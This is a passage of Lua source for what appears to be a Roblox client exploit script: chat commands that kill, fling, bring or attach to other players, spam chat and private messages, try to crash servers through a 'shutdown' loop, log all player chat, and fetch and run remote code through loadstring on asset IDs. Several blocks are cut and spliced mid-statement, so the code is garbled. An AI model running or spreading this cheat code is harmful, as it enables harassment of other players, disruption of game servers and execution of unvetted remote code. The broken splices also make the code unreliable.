droppingtools = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdtool to disable";
})
end
if string.sub(msg, 1, 12) == (prefix.."unloopdtool") then
droppingtools = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdtool to enable.";
})
end
if string.sub(msg, 1, 10) == (prefix.."invisible") then -- Credit to Timeless
Local = game:GetService('Players').LocalPlayer
Char = Local.Character
touched,tpdback = false, false
box = Instance.new('Part',workspace)
box.Anchored = true
box.CanCollide = true
box.Size = Vector3.new(10,1,10)
box.Position = Vector3.new(0,10000,0)
box.Touched:connect(function(part)
if (part.Parent.Name == Local.Name) then
if touched == false then
touched = true
function apply()
if script.Disabled ~= true then
no = Char.HumanoidRootPart:Clone()
wait(.25)
Char.HumanoidRootPart:Destroy()
no.Parent = Char
Char:MoveTo(loc)
touched = false
end end
if Char then
apply()
end
end
end
end)
repeat wait() until Char
loc = Char.HumanoidRootPart.Position
Char:MoveTo(box.Position + Vector3.new(0,.5,0))
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Invisibility enabled!";
Text = "Reset or use ;respawn to remove.";
})
end
if string.sub(msg, 1, 6) == (prefix.."view ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
if game:GetService("Players")[v.Name].Character.Humanoid then
game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Humanoid
else
game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Head
end
end
end
if string.sub(msg, 1, 7) == (prefix.."unview") then
if lplayer.Character.Humanoid then
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Humanoid
else
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Head
end
end
if string.sub(msg, 1, 6) == (prefix.."goto ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
end
end
if string.sub(msg, 1, 4) == (prefix.."fly") then
repeat wait() until lplayer and lplayer.Character and
lplayer.Character:FindFirstChild('HumanoidRootPart') and
lplayer.Character:FindFirstChild('Humanoid')
repeat wait() until Mouse
local T = lplayer.Character.HumanoidRootPart
local CONTROL = {F = 0, B = 0, L = 0, R = 0}
local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
local SPEED = speedget
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer((string.sub(msg, 7)), "All")
end
if string.sub(msg, 1, 6) == (prefix.."spam ") then
spamtext = (string.sub(msg, 7))
spamming = true
end
if string.sub(msg, 1, 7) == (prefix.."unspam") then
spamming = false
end
if string.sub(msg, 1, 10) == (prefix.."spamwait ") then
spamdelay = (string.sub(msg, 11))
end
if string.sub(msg, 1, 8) == (prefix.."pmspam ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
pmspammed = v.Name
spammingpm = true
end
end
if string.sub(msg, 1, 9) == (prefix.."unpmspam") then
spammingpm = false
end
if string.sub(msg, 1, 9) == (prefix.."cfreeze ") then
for i,v in pairs(GetPlayer(string.sub(msg, 10))) do
v.Character["Left Leg"].Anchored = true
v.Character["Left Arm"].Anchored = true
v.Character["Right Leg"].Anchored = true
v.Character["Right Arm"].Anchored = true
v.Character.Torso.Anchored = true
v.Character.Head.Anchored = true
end
end
if string.sub(msg, 1, 11) == (prefix.."uncfreeze ") then
for i,v in pairs(GetPlayer(string.sub(msg, 12))) do
v.Character["Left Leg"].Anchored = false
v.Character["Left Arm"].Anchored = false
v.Character["Right Leg"].Anchored = false
v.Character["Right Arm"].Anchored = false
v.Character.Torso.Anchored = false
v.Character.Head.Anchored = false
end
end
if string.sub(msg, 1, 9) == (prefix.."unlockws") then
local a = game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = false
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Locked = false
end
end
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Workspace unlocked. Use ;lockws to lock.";
})
end
if string.sub(msg, 1, 7) == (prefix.."lockws") then
local a = game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = true
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Locked = true
end
end
end
end
end
if string.sub(msg, 1, 7) == (prefix.."btools") then
local Clone_T = Instance.new("HopperBin",lplayer.Backpack)
Clone_T.BinType = "Clone"
local Destruct = Instance.new("HopperBin",lplayer.Backpack)
Destruct.BinType = "Hammer"
local Hold_T = Instance.new("HopperBin",lplayer.Backpack)
Hold_T.BinType = "Grab"
end
if string.sub(msg, 1, 7) == (prefix.."pstand") then
lplayer.Character.Humanoid.PlatformStand = true
end
if string.sub(msg, 1, 9) == (prefix.."unpstand") then
lplayer.Character.Humanoid.PlatformStand = false
end
if string.sub(msg, 1, 10) == (prefix.."blockhead") then
lplayer.Character.Head.Mesh:Destroy()
end
if string.sub(msg, 1, 4) == (prefix.."sit") then
lplayer.Character.Humanoid.Sit = true
end
if string.sub(msg, 1, 10) == (prefix.."bringobj ") then
local function bringobjw()
for i,obj in ipairs(game:GetService("Workspace"):GetDescendants()) do
if obj.Name == (string.sub(msg, 11)) then
obj.CFrame = lplayer.Character.HumanoidRootPart.CFrame
obj.CanCollide = false
obj.Transparency = 0.7
wait()
obj.CFrame = lplayer.Character["Left Leg"].CFrame
wait()
obj.CFrame = lplayer.Character["Right Leg"].CFrame
wait()
obj.CFrame = lplayer.Character["Head"].CFrame
end
end
end
while wait() do
bringobjw()
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringObj";
Text = "BringObj enabled.";
})
end
if string.sub(msg, 1, 7) == (prefix.."wsvis ") then
vis = (string.sub(msg, 8))
local a = game:GetService("Workspace"):GetDescendants()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Transparency = vis
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Transparency = vis
end
end
end
end
end
if string.sub(msg, 1, 11) == (prefix.."hypertotal") then
loadstring(game:GetObjects("rbxassetid://1255063809")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "HyperTotal GUI Loaded!";
})
end
if string.sub(msg, 1, 5) == (prefix.."cmds") then
CMDSFRAME.Visible = true
end
if string.sub(msg, 1, 10) == (prefix.."rmeshhats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(msg, 1, 10) == (prefix.."blockhats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(msg, 1, 10) == (prefix.."rmeshtool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(msg, 1, 10) == (prefix.."blocktool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(msg, 1, 8) == (prefix.."spinner") then
local p = Instance.new("RocketPropulsion")
p.Parent = lplayer.Character.HumanoidRootPart
p.Name = "Spinner"
p.Target = lplayer.Character["Left Arm"]
p:Fire()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Spinner enabled";
Text = "Type ;nospinner to disable.";
})
end
if string.sub(msg, 1, 10) == (prefix.."nospinner") then
lplayer.Character.HumanoidRootPart.Spinner:Destroy()
end
if string.sub(msg, 1, 7) == (prefix.."reachd") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
local a = Instance.new("SelectionBox",v.Handle)
a.Adornee = v.Handle
v.Handle.Size = Vector3.new(0.5,0.5,60)
v.GripPos = Vector3.new(0,0,0)
lplayer.Character.Humanoid:UnequipTools()
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use ;noreach to disable.";
})
end
if string.sub(msg, 1, 7) == (prefix.."reach ") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
handleSize = v.Handle.Size
wait()
local a = Instance.new("SelectionBox",v.Handle)
a.Name = "a"
a.Adornee = v.Handle
v.Handle.Size = Vector3.new(0.5,0.5,(string.sub(msg, 8)))
v.GripPos = Vector3.new(0,0,0)
lplayer.Character.Humanoid:UnequipTools()
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use ;noreach to disable.";
})
end
if string.sub(msg, 1, 8) == (prefix.."noreach") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
v.Handle.a:Destroy()
v.Handle.Size = handleSize
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach removed!";
Text = "Removed reach from equipped sword.";
})
end
if string.sub(msg, 1, 7) == (prefix.."rkill ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8)))do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame = CFrame.new(Vector3.new(-
100000,10,-100000))
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 7) == (prefix.."tp me ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
end
end
if string.sub(msg, 1, 8) == (prefix.."cbring ") then
if (string.sub(msg, 9)) == "all" or (string.sub(msg, 9)) == "All" or
(string.sub(msg, 9)) == "ALL" then
cbringall = true
else
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
brplr = v.Name
end
end
cbring = true
end
if string.sub(msg, 1, 9) == (prefix.."uncbring") then
cbring = false
cbringall = false
end
if string.sub(msg, 1, 6) == (prefix.."swap ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
local NOWPLR = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.6)
tp(lplayer, game:GetService("Players")[v.Name])
wait(0.4)
lplayer.Character.HumanoidRootPart.CFrame = NOWPLR
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 8) == (prefix.."glitch ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character["Left Arm"].CFrame
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character["Left Arm"].CFrame
wait(0.4)
b = Instance.new("BodyForce")
b.Parent = lplayer.Character.HumanoidRootPart
b.Name = "Glitch"
b.Force = Vector3.new(100000000,5000,0)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 9) == (prefix.."unglitch") then
lplayer.Character.HumanoidRootPart.Glitch:Destroy()
lplayer.Character.HumanoidRootPart.CFrame = CFrame.new(10000,0,10000)
b = Instance.new("BodyForce")
b.Parent = lplayer.Character.HumanoidRootPart
b.Name = "unGlitch"
b.Force = Vector3.new(0,-5000000,0)
wait(2)
lplayer.Character.HumanoidRootPart.unGlitch:Destroy()
end
if string.sub(msg, 1, 9) == (prefix.."grespawn") then
lplayer.Character.Humanoid.Health = 0
wait(1)
lplayer.Character.Head.CFrame = CFrame.new(1000000,0,1000000)
lplayer.Character.Torso.CFrame = CFrame.new(1000000,0,1000000)
end
if string.sub(msg, 1, 9) == (prefix.."explorer") then
loadstring(game:GetObjects("rbxassetid://492005721")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "DEX Explorer has loaded.";
})
end
if string.sub(msg, 1, 6) == (prefix.."anim ") then
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://"..(string.sub(msg, 7))
local track = lplayer.Character.Humanoid:LoadAnimation(Anim)
track:Play(.1, 1, 1)
end
if string.sub(msg, 1, 8) == (prefix.."animgui") then
loadstring(game:GetObjects("rbxassetid://1202558084")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Energize Animations GUI has loaded.";
})
end
if string.sub(msg, 1, 8) == (prefix.."savepos") then
saved = lplayer.Character.HumanoidRootPart.CFrame
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Position Saved";
Text = "Use ;loadpos to return to saved position.";
})
end
if string.sub(msg, 1, 8) == (prefix.."loadpos") then
lplayer.Character.HumanoidRootPart.CFrame = saved
end
if string.sub(msg, 1, 6) == (prefix.."bang ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
local Anim2 = Instance.new("Animation")
Anim2.AnimationId = "rbxassetid://148840371"
local track2 = lplayer.Character.Humanoid:LoadAnimation(Anim2)
track2:Play(.1, 1, 1)
bplrr = v.Name
banpl = true
end
end
if string.sub(msg, 1, 7) == (prefix.."unbang") then
banpl = false
end
if string.sub(msg, 1, 10) == (prefix.."bringmod ") then
local function bringmodw()
for i,obj in ipairs(game:GetService("Workspace"):GetDescendants()) do
if obj.Name == (string.sub(msg, 11)) then
for i,ch in pairs(obj:GetDescendants()) do
if (ch:IsA("BasePart")) then
ch.CFrame = lplayer.Character.HumanoidRootPart.CFrame
ch.CanCollide = false
ch.Transparency = 0.7
wait()
ch.CFrame = lplayer.Character["Left Leg"].CFrame
wait()
ch.CFrame = lplayer.Character["Right Leg"].CFrame
wait()
ch.CFrame = lplayer.Character["Head"].CFrame
end
end
end
end
end
while wait() do
bringmodw()
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringMod";
Text = "BringMod enabled.";
})
end
if string.sub(msg, 1, 8) == (prefix.."respawn") then
local mod = Instance.new('Model', workspace) mod.Name = 're '..lplayer.Name
local hum = Instance.new('Humanoid', mod)
local ins = Instance.new('Part', mod) ins.Name = 'Torso' ins.CanCollide =
false ins.Transparency = 1
lplayer.Character = mod
end
if string.sub(msg, 1, 9) == (prefix.."shutdown") then
game:GetService'RunService'.Stepped:Connect(function()
pcall(function()
for i,v in pairs(game:GetService'Players':GetPlayers()) do
if v.Character ~= nil and v.Character:FindFirstChild'Head' then
for _,x in pairs(v.Character.Head:GetChildren()) do
if x:IsA'Sound' then x.Playing = true
x.CharacterSoundEvent:FireServer(true, true) end
end
end
end
end)
end)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Attempting Shutdown";
Text = "Shutdown Attempt has begun.";
})
end
if string.sub(msg, 1, 8) == (prefix.."delobj ") then
objtodel = (string.sub(msg, 9))
for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do
if v.Name == objtodel then
v:Destroy()
end
end
end
if string.sub(msg, 1, 8) == (prefix.."getplrs") then
for i,v in pairs(game:GetService("Players"):GetPlayers())do
print(v)
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printed";
Text = "Players have been printed to console. (F9)";
})
end
if string.sub(msg, 1, 9) == (prefix.."deldecal") then
for i,v in pairs(game:GetService("Workspace"):GetDescendants())do
if (v:IsA("Decal")) then
v:Destroy()
end
end
end
if string.sub(msg, 1, 11) == (prefix.."opfinality") then
loadstring(game:GetObjects("rbxassetid://1294358929")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "OpFinality GUI has loaded.";
})
end
if string.sub(msg, 1, 8) == (prefix.."remotes") then
remotes = true
added = true
game.DescendantAdded:connect(function(rmt)
if added == true then
if remotes == true then
if rmt:IsA("RemoteEvent") then
print("A RemoteEvent was added!")
print(" game." .. rmt:GetFullName() .. " | RemoteEvent")
print(" game." .. rmt:GetFullName() .. " | RemoteEvent", 247, 0, 0, true)
end end end
end)
game.DescendantAdded:connect(function(rmtfnctn)
if added == true then
if remotes == true then
if rmtfnctn:IsA("RemoteFunction") then
warn("A RemoteFunction was added!")
warn(" game." .. rmtfnctn:GetFullName() .. " | RemoteFunction")
print(" game." .. rmtfnctn:GetFullName() .. " | RemoteFunction", 5, 102,
198, true)
end end end
end)
game.DescendantAdded:connect(function(bndfnctn)
if added == true then
if binds == true then
if bndfnctn:IsA("BindableFunction") then
print("A BindableFunction was added!")
print(" game." .. bndfnctn:GetFullName() .. " | BindableFunction")
print(" game." .. bndfnctn:GetFullName() .. " | BindableFunction", 239,
247, 4, true)
end end end
end)
game.DescendantAdded:connect(function(bnd)
if added == true then
if binds == true then
if bnd:IsA("BindableEvent") then
warn("A BindableEvent was added!")
warn(" game." .. bnd:GetFullName() .. " | BindableEvent")
print(" game." .. bnd:GetFullName() .. " | BindableEvent", 13, 193, 22,
true)
end end end
end)
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(player.Name.." Account Age: "..player.AccountAge.." days!", "All")
end
end
if string.sub(msg, 1, 4) == (prefix.."id ") then
for i,player in pairs(GetPlayer(string.sub(msg, 5))) do
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(player.Name.." Account ID: "..player.UserId, "All")
end
end
if string.sub(msg, 1, 6) == (prefix..".age ") then
for i,player in pairs(GetPlayer(string.sub(msg, 7))) do
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = player.AccountAge.." Days";
Text = "Account age of "..player.Name;
})
end
end
if string.sub(msg, 1, 5) == (prefix..".id ") then
for i,player in pairs(GetPlayer(string.sub(msg, 6))) do
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = player.UserId.." ID";
Text = "Account ID of "..player.Name;
})
end
end
if string.sub(msg, 1, 7) == (prefix.."gameid") then
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Game ID";
Text = "Game ID: ".. game.GameId;
})
end
if string.sub(msg, 1, 4) == (prefix.."pgs") then
local pgscheck = game:GetService("Workspace"):PGSIsEnabled()
if pgscheck == true then
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Enabled!";
})
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Disabled!";
})
end
end
if string.sub(msg, 1, 12) == (prefix.."removeinvis") then
for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do
if v:IsA("Part") then
if v.Transparency == 1 then
if v.Name ~= "HumanoidRootPart" then
v:Destroy()
end
end
end
end
end
if string.sub(msg, 1, 10) == (prefix.."removefog") then
game:GetService("Lighting").FogStart = 0
game:GetService("Lighting").FogEnd = 9999999999999
end
if string.sub(msg, 1, 8) == (prefix.."disable") then
lplayer.Character.Humanoid.Parent = lplayer
end
if string.sub(msg, 1, 7) == (prefix.."enable") then
lplayer.Humanoid.Parent = lplayer.Character
end
if string.sub(msg, 1, 8) == (prefix.."prefix ") then
prefix = (string.sub(msg, 9, 9))
wait(0.1)
change()
wait(0.1)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Prefix changed!";
Text = "Prefix is now "..prefix..". Use ;resetprefix to reset to ;";
})
end
if string.sub(msg, 1, 12) == (";resetprefix") then
prefix = ";"
wait(0.1)
change()
wait(0.1)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Prefix changed!";
Text = "Prefix is now "..prefix..". Make sure it's one key!";
})
end
if string.sub(msg, 1, 10) == (prefix.."flyspeed ") then
speedfly = string.sub(msg, 11)
wait()
change()
end
if string.sub(msg, 1, 8) == (prefix.."carpet ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
local Anim3 = Instance.new("Animation")
Anim3.AnimationId = "rbxassetid://282574440"
local track3 = lplayer.Character.Humanoid:LoadAnimation(Anim3)
track3:Play(.1, 1, 1)
bplrr = v.Name
banpl = true
end
end
if string.sub(msg, 1, 9) == (prefix.."uncarpet") then
banpl = false
end
if string.sub(msg, 1, 7) == (prefix.."stare ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
staring = true
stareplr = v
end
end
if string.sub(msg, 1, 8) == (prefix.."unstare") then
staring = false
end
if string.sub(msg, 1, 8) == (prefix.."logchat") then
chatlogs = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat enabled";
Text = "Now logging all player chat.";
})
end
if string.sub(msg, 1, 10) == (prefix.."unlogchat") then
chatlogs = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat disabled";
Text = "Stopped logging all player chat.";
})
end
if string.sub(msg, 1, 7) == (prefix.."fixcam") then
game:GetService("Workspace").CurrentCamera:Destroy()
wait(0.1)
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Humanoid
game:GetService("Workspace").CurrentCamera.CameraType = "Custom"
lplayer.CameraMinZoomDistance = 0.5
lplayer.CameraMaxZoomDistance = 400
lplayer.CameraMode = "Classic"
end
if string.sub(msg, 1, 8) == (prefix.."unstate") then
changingstate = false
end
end)
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(spamtext, "All")
end
end
end)
spawn(function()
while wait(spamdelay) do
if spammingpm == true then
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer("/w "..pmspammed.."
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@", "All")
end
end
end)
spawn(function()
while wait() do
if cbring == true then
tp()
end
end
end)
spawn(function()
while wait() do
if cbringall == true then
tpall()
end
end
end)
Mouse.KeyDown:connect(function(Key)
if Key == prefix then
CMDBAR:CaptureFocus()
end
end)
CMDBAR.FocusLost:connect(function(enterPressed)
if enterPressed then
if string.sub(CMDBAR.Text, 1, 5) == ("kill ") then
if string.sub(CMDBAR.Text, 6) == "me" then
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(100000,0,100000)
else
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 6)))do
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(Vector3.new(-100000,10,-100000))
wait(0.7)
tp(lplayer,game:GetService("Players")[v.Name])
wait(0.7)
lplayer.Character.HumanoidRootPart.CFrame = NOW
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("bring ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7)))do
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1.HumanoidRootPart.CFrame = char2.HumanoidRootPart.CFrame
end
end
local function getout(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
tp(game:GetService("Players")[v.Name], lplayer)
wait(0.2)
tp(game:GetService("Players")[v.Name], lplayer)
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.5)
getout(lplayer, game:GetService("Players")[v.Name])
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame = NOW
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 5) == ("spin ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
spinplr = v
wait(0.5)
spin = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("unspin") then
spin = false
end
if string.sub(CMDBAR.Text, 1, 7) == ("attach ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
attplr = v
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
